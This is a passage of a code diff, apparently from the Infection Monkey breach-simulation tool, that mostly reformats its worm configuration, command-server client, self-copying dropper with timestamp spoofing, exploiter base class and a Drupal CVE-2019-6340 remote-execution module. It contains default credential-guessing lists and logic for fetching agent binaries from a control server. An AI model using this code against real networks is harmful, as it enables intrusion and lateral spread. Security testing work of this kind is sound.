= "Password1!" - # User and password dictionaries for exploits. + ########################### + # ransomware config + ########################### + + ransomware = "" def get_exploit_user_password_pairs(self): """ @@ -220,18 +216,19 @@ class Configuration(object): :return: """ cred_list = [] - for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']): + for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]): cred_list.append(cred) - for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list): + for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list): cred_list.append(cred) - for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']): + for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]): cred_list.append(cred) return cred_list @staticmethod def hash_sensitive_data(sensitive_data): """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is + Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data + plain-text, as the log is saved on client machines plain-text. :param sensitive_data: the data to hash. @@ -240,15 +237,15 @@ class Configuration(object): password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() return password_hashed - exploit_user_list = ['Administrator', 'root', 'user'] + exploit_user_list = ["Administrator", "root", "user"] exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] exploit_ssh_keys = [] - aws_access_key_id = '' - aws_secret_access_key = '' - aws_session_token = '' + aws_access_key_id = "" + aws_secret_access_key = "" + aws_session_token = "" # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds @@ -257,7 +254,16 @@ class Configuration(object): # Timeout (in seconds) for sambacry's trigger to yield results. sambacry_trigger_timeout = 5 # Folder paths to guess share lies inside. - sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + sambacry_folder_paths_to_guess = [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home", + ] # Shares to not check if they're writable. sambacry_shares_not_to_check = ["IPC$", "print$"] diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 611166afa..109110498 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -1,6 +1,8 @@ import json import logging import platform +from datetime import datetime +from pprint import pformat from socket import gethostname from urllib.parse import urljoin @@ -9,18 +11,17 @@ from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel -from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT, - MEDIUM_REQUEST_TIMEOUT, - SHORT_REQUEST_TIMEOUT) from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH +from common.common_consts.time_formats import DEFAULT_TIME_FORMAT +from common.common_consts.timeouts import ( + LONG_REQUEST_TIMEOUT, + MEDIUM_REQUEST_TIMEOUT, + SHORT_REQUEST_TIMEOUT, +) from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import check_internet_access, local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy -from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException - -__author__ = 'hoffer' - requests.packages.urllib3.disable_warnings() @@ -30,7 +31,8 @@ DOWNLOAD_CHUNK = 1024 PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" # random number greater than 5, -# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +# to prevent the monkey from just waiting forever to try and connect to an island before going +# elsewhere. TIMEOUT_IN_SECONDS = 15 @@ -49,27 +51,35 @@ class ControlClient(object): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} + monkey = { + "guid": GUID, + "hostname": hostname, + "ip_addresses": local_ips(), + "description": " ".join(platform.uname()), + "internet_access": has_internet_access, + "config": WormConfiguration.as_dict(), + "parent": parent, + "launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)), + } if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') + monkey["tunnel"] = ControlClient.proxies.get("https") - requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + requests.post( # noqa: DUO123 + "https://%s/api/monkey" % (WormConfiguration.current_server,), + data=json.dumps(monkey), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=20, + ) @staticmethod def find_server(default_tunnel=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + LOG.debug( + "Trying to wake up with Monkey Island servers list: %r" + % WormConfiguration.command_servers + ) if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) @@ -83,10 +93,12 @@ class ControlClient(object): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - requests.get(f"https://{server}/api?action=is-up", # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=TIMEOUT_IN_SECONDS) + requests.get( # noqa: DUO123 + f"https://{server}/api?action=is-up", + verify=False, + proxies=ControlClient.proxies, + timeout=TIMEOUT_IN_SECONDS, + ) WormConfiguration.current_server = current_server break @@ -105,7 +117,7 @@ class ControlClient(object): if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) - ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) + ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port) return ControlClient.find_server() else: LOG.info("No tunnel found") @@ -118,74 +130,95 @@ class ControlClient(object): try: monkey = {} if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') - requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + monkey["tunnel"] = ControlClient.proxies.get("https") + requests.patch( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + data=json.dumps(monkey), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return {} @staticmethod def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: - LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) + LOG.error( + "Trying to send %s telemetry before current server is established, aborting." + % telem_category + ) return try: - telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': json_data} - requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} + requests.post( # noqa: DUO123 + "https://%s/api/telemetry" % (WormConfiguration.current_server,), + data=json.dumps(telemetry), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) @staticmethod def send_log(log): if not WormConfiguration.current_server: return try: - telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)} - requests.post("https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + telemetry = {"monkey_guid": GUID, "log": json.dumps(log)} + requests.post( # noqa: DUO123 + "https://%s/api/log" % (WormConfiguration.current_server,), + data=json.dumps(telemetry), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) @staticmethod def load_control_config(): if not WormConfiguration.current_server: return try: - reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + reply = requests.get( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return try: - unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) - LOG.info("New configuration was loaded from server: %r" % - (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)) + unknown_variables = WormConfiguration.from_kv(reply.json().get("config")) + formatted_config = pformat( + WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) + ) + LOG.info(f"New configuration was loaded from server:\n{formatted_config}") except Exception as exc: # we don't continue with default conf here because it might be dangerous - LOG.error("Error parsing JSON reply from control server %s (%s): %s", - WormConfiguration.current_server, reply._content, exc) + LOG.error( + "Error parsing JSON reply from control server %s (%s): %s", + WormConfiguration.current_server, + reply._content, + exc, + ) raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc) if unknown_variables: @@ -196,14 +229,18 @@ class ControlClient(object): if not WormConfiguration.current_server: return try: - requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + requests.patch( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + data=json.dumps({"config_error": True}), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return {} @staticmethod @@ -221,7 +258,8 @@ class ControlClient(object): @staticmethod def download_monkey_exe_by_os(is_windows, is_32bit): filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit)) + ControlClient.spoof_host_os_info(is_windows, is_32bit) + ) if filename is None: return None return ControlClient.download_monkey_exe_by_filename(filename, size) @@ -241,14 +279,7 @@ class ControlClient(object): else: arch = "x86_64" - return \ - { - "os": - { - "type": os, - "machine": arch - } - } + return {"os": {"type": os, "machine": arch}} @staticmethod def download_monkey_exe_by_filename(filename, size): @@ -259,13 +290,15 @@ class ControlClient(object): if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): return dest_file else: - download = requests.get("https://%s/api/monkey/download/%s" % # noqa: DUO123 - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + download = requests.get( # noqa: DUO123 + "https://%s/api/monkey/download/%s" + % (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) - with monkeyfs.open(dest_file, 'wb') as file_obj: + with monkeyfs.open(dest_file, "wb") as file_obj: for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): if chunk: file_obj.write(chunk) @@ -274,8 +307,9 @@ class ControlClient(object): return dest_file except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) @staticmethod def get_monkey_exe_filename_and_size_by_host(host): @@ -286,24 +320,28 @@ class ControlClient(object): if not WormConfiguration.current_server: return None, None try: - reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(host_dict), - headers={'content-type': 'application/json'}, - verify=False, proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT) + reply = requests.post( # noqa: DUO123 + "https://%s/api/monkey/download" % (WormConfiguration.current_server,), + data=json.dumps(host_dict), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, + ) if 200 == reply.status_code: result_json = reply.json() - filename = result_json.get('filename') + filename = result_json.get("filename") if not filename: return None, None - size = result_json.get('size') + size = result_json.get("size") return filename, size else: return None, None except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return None, None @@ -312,11 +350,11 @@ class ControlClient(object): if not WormConfiguration.current_server: return None - my_proxy = ControlClient.proxies.get('https', '').replace('https://', '') + my_proxy = ControlClient.proxies.get("https", "").replace("https://", "") if my_proxy: proxy_class = TcpProxy try: - target_addr, target_port = my_proxy.split(':', 1) + target_addr, target_port = my_proxy.split(":", 1) target_port = int(target_port) except ValueError: return None @@ -329,49 +367,63 @@ class ControlClient(object): @staticmethod def get_pba_file(filename): try: - return requests.get(PBA_FILE_DOWNLOAD % # noqa: DUO123 - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT) + return requests.get( # noqa: DUO123 + PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, + ) except requests.exceptions.RequestException: return False @staticmethod def get_T1216_pba_file(): try: - return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123 - T1216_PBA_FILE_DOWNLOAD_PATH), - verify=False, - proxies=ControlClient.proxies, - stream=True, - timeout=MEDIUM_REQUEST_TIMEOUT) + return requests.get( # noqa: DUO123 + urljoin( + f"https://{WormConfiguration.current_server}/", + T1216_PBA_FILE_DOWNLOAD_PATH, + ), + verify=False, + proxies=ControlClient.proxies, + stream=True, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except requests.exceptions.RequestException: return False @staticmethod def should_monkey_run(vulnerable_port: str) -> bool: - if vulnerable_port and \ - WormConfiguration.get_hop_distance_to_island() > 1 and \ - ControlClient.can_island_see_port(vulnerable_port) and \ - WormConfiguration.started_on_island: - raise PlannedShutdownException("Monkey shouldn't run on current machine " - "(it will be exploited later with more depth).") + if ( + vulnerable_port + and WormConfiguration.get_hop_distance_to_island() > 1 + and ControlClient.can_island_see_port(vulnerable_port) + and WormConfiguration.started_on_island + ): + return False + return True @staticmethod def can_island_see_port(port): try: - url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}" - response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT) + url = ( + f"https://{WormConfiguration.current_server}/api/monkey_control" + f"/check_remote_port/{port}" + ) + response = requests.get( # noqa: DUO123 + url, verify=False, timeout=SHORT_REQUEST_TIMEOUT + ) response = json.loads(response.content.decode()) - return response['status'] == "port_visible" + return response["status"] == "port_visible" except requests.exceptions.RequestException: return False @staticmethod def report_start_on_island(): - requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", - data=json.dumps({'started_on_island': True}), - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT) + requests.post( # noqa: DUO123 + f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", + data=json.dumps({"started_on_island": True}), + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 9b374c9f1..781a0614a 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -12,10 +12,13 @@ from ctypes import c_char_p from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly -from infection_monkey.model import GENERAL_CMDLINE_LINUX, MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from infection_monkey.utils.commands import ( + build_monkey_commandline_explicitly, + get_monkey_commandline_linux, + get_monkey_commandline_windows, +) if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -29,7 +32,6 @@ except NameError: # noinspection PyShadowingBuiltins WindowsError = IOError -__author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -39,108 +41,143 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): arg_parser = argparse.ArgumentParser() - arg_parser.add_argument('-p', '--parent') - arg_parser.add_argument('-t', '--tunnel') - arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth', type=int) - arg_parser.add_argument('-l', '--location') - arg_parser.add_argument('-vp', '--vulnerable-port') + arg_parser.add_argument("-p", "--parent") + arg_parser.add_argument("-t", "--tunnel") + arg_parser.add_argument("-s", "--server") + arg_parser.add_argument("-d", "--depth", type=int) + arg_parser.add_argument("-l", "--location") + arg_parser.add_argument("-vp", "--vulnerable-port") self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) - self._config = {'source_path': os.path.abspath(sys.argv[0]), - 'destination_path': self.opts.location} + self._config = { + "source_path": os.path.abspath(sys.argv[0]), + "destination_path": self.opts.location, + } def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): - if self._config['destination_path'] is None: + if self._config["destination_path"] is None: LOG.error("No destination path specified") return False # we copy/move only in case path is different try: - file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) + file_moved = filecmp.cmp(self._config["source_path"], self._config["destination_path"]) except OSError: file_moved = False - if not file_moved and os.path.exists(self._config['destination_path']): - os.remove(self._config['destination_path']) + if not file_moved and os.path.exists(self._config["destination_path"]): + os.remove(self._config["destination_path"]) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: - shutil.move(self._config['source_path'], - self._config['destination_path']) + shutil.move(self._config["source_path"], self._config["destination_path"]) - LOG.info("Moved source file '%s' into '%s'", - self._config['source_path'], self._config['destination_path']) + LOG.info( + "Moved source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], + ) file_moved = True except (WindowsError, IOError, OSError) as exc: - LOG.debug("Error moving source file '%s' into '%s': %s", - self._config['source_path'], self._config['destination_path'], - exc) + LOG.debug( + "Error moving source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, + ) # if file still need to change path, copy it if not file_moved: try: - shutil.copy(self._config['source_path'], - self._config['destination_path']) + shutil.copy(self._config["source_path"], self._config["destination_path"]) - LOG.info("Copied source file '%s' into '%s'", - self._config['source_path'], self._config['destination_path']) + LOG.info( + "Copied source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], + ) except (WindowsError, IOError, OSError) as exc: - LOG.error("Error copying source file '%s' into '%s': %s", - self._config['source_path'], self._config['destination_path'], - exc) + LOG.error( + "Error copying source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, + ) return False if WormConfiguration.dropper_set_date: - if sys.platform == 'win32': - dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows) + if sys.platform == "win32": + dropper_date_reference_path = os.path.expandvars( + WormConfiguration.dropper_date_reference_path_windows + ) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) except OSError: - LOG.warning("Cannot set reference date using '%s', file not found", - dropper_date_reference_path) + LOG.warning( + "Cannot set reference date using '%s', file not found", + dropper_date_reference_path, + ) else: try: - os.utime(self._config['destination_path'], - (ref_stat.st_atime, ref_stat.st_mtime)) + os.utime( + self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) + ) except OSError: LOG.warning("Cannot set reference date to destination file") - monkey_options = \ - build_monkey_commandline_explicitly(parent=self.opts.parent, - tunnel=self.opts.tunnel, - server=self.opts.server, - depth=self.opts.depth, - location=None, - vulnerable_port=self.opts.vulnerable_port) + monkey_options = build_monkey_commandline_explicitly( + parent=self.opts.parent, + tunnel=self.opts.tunnel, + server=self.opts.server, + depth=self.opts.depth, + location=None, + vulnerable_port=self.opts.vulnerable_port, + ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): - monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options + monkey_commandline = get_monkey_commandline_windows( + self._config["destination_path"], monkey_options + ) + + monkey_process = subprocess.Popen( + monkey_commandline, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + creationflags=DETACHED_PROCESS, + ) else: - dest_path = self._config['destination_path'] - # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually - # runs the monkey - inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options - monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], - 'monkey_commandline': inner_monkey_cmdline} + dest_path = self._config["destination_path"] + # In Linux, we need to change the directory first, which is done + # using thw `cwd` argument in `subprocess.Popen` below - monkey_process = subprocess.Popen(monkey_cmdline, shell=True, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - close_fds=True, creationflags=DETACHED_PROCESS) + monkey_commandline = get_monkey_commandline_linux(dest_path, monkey_options) - LOG.info("Executed monkey process (PID=%d) with command line: %s", - monkey_process.pid, monkey_cmdline) + monkey_process = subprocess.Popen( + monkey_commandline, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + cwd="/".join(dest_path.split("/")[0:-1]), + creationflags=DETACHED_PROCESS, + ) + + LOG.info( + "Executed monkey process (PID=%d) with command line: %s", + monkey_process.pid, + " ".join(monkey_commandline), + ) time.sleep(3) if monkey_process.poll() is not None: @@ -150,25 +187,36 @@ class MonkeyDrops(object): LOG.info("Cleaning up the dropper") try: - if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ - os.path.exists(self._config['source_path']) and \ - WormConfiguration.dropper_try_move_first: + if ( + (self._config["source_path"].lower() != self._config["destination_path"].lower()) + and os.path.exists(self._config["source_path"]) + and WormConfiguration.dropper_try_move_first + ): # try removing the file first try: - os.remove(self._config['source_path']) + os.remove(self._config["source_path"]) except Exception as exc: - LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) + LOG.debug( + "Error removing source file '%s': %s", self._config["source_path"], exc + ) # mark the file for removal on next boot - dropper_source_path_ctypes = c_char_p(self._config['source_path']) - if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, - MOVEFILE_DELAY_UNTIL_REBOOT): - LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", - self._config['source_path'], ctypes.windll.kernel32.GetLastError()) + dropper_source_path_ctypes = c_char_p(self._config["source_path"]) + if 0 == ctypes.windll.kernel32.MoveFileExA( + dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT + ): + LOG.debug( + "Error marking source file '%s' for deletion on next boot (error " + "%d)", + self._config["source_path"], + ctypes.windll.kernel32.GetLastError(), + ) else: - LOG.debug("Dropper source file '%s' is marked for deletion on next boot", - self._config['source_path']) + LOG.debug( + "Dropper source file '%s' is marked for deletion on next boot", + self._config["source_path"], + ) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() LOG.info("Dropper cleanup complete") diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index cf9d2ed70..774d69aed 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,5 +1,4 @@ { - "should_exploit": true, "command_servers": [ "192.0.2.0:5000" ], @@ -62,7 +61,6 @@ "send_log_to_server": true, "ms08_067_exploit_attempts": 5, "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 59d593b09..3a5abf4c5 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -8,9 +8,6 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration from infection_monkey.utils.plugins.plugin import Plugin -__author__ = 'itamar' - - logger = logging.getLogger(__name__) @@ -37,7 +34,8 @@ class HostExploiter(Plugin): EXPLOIT_TYPE = ExploitType.VULNERABILITY # Determines if successful exploitation should stop further exploit attempts on that machine. - # Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent. + # Generally, should be True for RCE type exploiters and False if we don't expect the + # exploiter to run the monkey agent. # Example: Zerologon steals credentials RUNS_AGENT_ON_SUCCESS = True @@ -48,31 +46,42 @@ class HostExploiter(Plugin): def __init__(self, host): self._config = WormConfiguration - self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, - 'started': '', - 'finished': '', - 'vulnerable_urls': [], - 'vulnerable_ports': [], - 'executed_cmds': []} + self.exploit_info = { + "display_name": self._EXPLOITED_SERVICE, + "started": "", + "finished": "", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + } self.exploit_attempts = [] self.host = host def set_start_time(self): - self.exploit_info['started'] = datetime.now().isoformat() + self.exploit_info["started"] = datetime.now().isoformat() def set_finish_time(self): - self.exploit_info['finished'] = datetime.now().isoformat() + self.exploit_info["finished"] = datetime.now().isoformat() def is_os_supported(self): - return self.host.os.get('type') in self._TARGET_OS_TYPE + return self.host.os.get("type") in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): from infection_monkey.telemetry.exploit_telem import ExploitTelem + ExploitTelem(self, result).send() - def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): - self.exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) + def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): + self.exploit_attempts.append( + { + "result": result, + "user": user, + "password": password, + "lm_hash": lm_hash, + "ntlm_hash": ntlm_hash, + "ssh_key": ssh_key, + } + ) def exploit_host(self): self.pre_exploit() @@ -80,9 +89,9 @@ class HostExploiter(Plugin): try: result = self._exploit_host() except FailedExploitationError as e: - logger.debug(f'Exploiter failed: {e}.') + logger.debug(f"Exploiter failed: {e}.") except Exception: - logger.error('Exception in exploit_host', exc_info=True) + logger.error("Exception in exploit_host", exc_info=True) finally: self.post_exploit() return result @@ -98,10 +107,10 @@ class HostExploiter(Plugin): raise NotImplementedError() def add_vuln_url(self, url): - self.exploit_info['vulnerable_urls'].append(url) + self.exploit_info["vulnerable_urls"].append(url) def add_vuln_port(self, port): - self.exploit_info['vulnerable_ports'].append(port) + self.exploit_info["vulnerable_ports"].append(port) def add_executed_cmd(self, cmd): """ @@ -109,5 +118,4 @@ class HostExploiter(Plugin): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info['executed_cmds'].append( - {'cmd': cmd, 'powershell': powershell}) + self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 04b0ce431..48b60a2c5 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -1,7 +1,8 @@ """ Remote Code Execution on Drupal server - CVE-2019-6340 Implementation is based on: - https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a. + https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88 + /f9f6a5bb6605745e292bee3a4079f261d891738a. """ import logging @@ -9,39 +10,40 @@ from urllib.parse import urljoin import requests -from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT, - MEDIUM_REQUEST_TIMEOUT) +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.network.network_utils import remove_port from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ID_STRING -__author__ = 'Ophir Harpaz' - LOG = logging.getLogger(__name__) class DrupalExploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Drupal Server' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Drupal Server" def __init__(self, host): super(DrupalExploiter, self).__init__(host) def get_exploit_config(self): """ - We override this function because the exploits requires a special extension in the URL, "node", + We override this function because the exploits requires a special extension in the URL, + "node", e.g. an exploited URL would be http://172.1.2.3:/node/3. :return: the Drupal exploit config """ exploit_config = super(DrupalExploiter, self).get_exploit_config() - exploit_config['url_extensions'] = ['node/', # In Linux, no path is added - 'drupal/node/'] # However, Bitnami installations are under /drupal 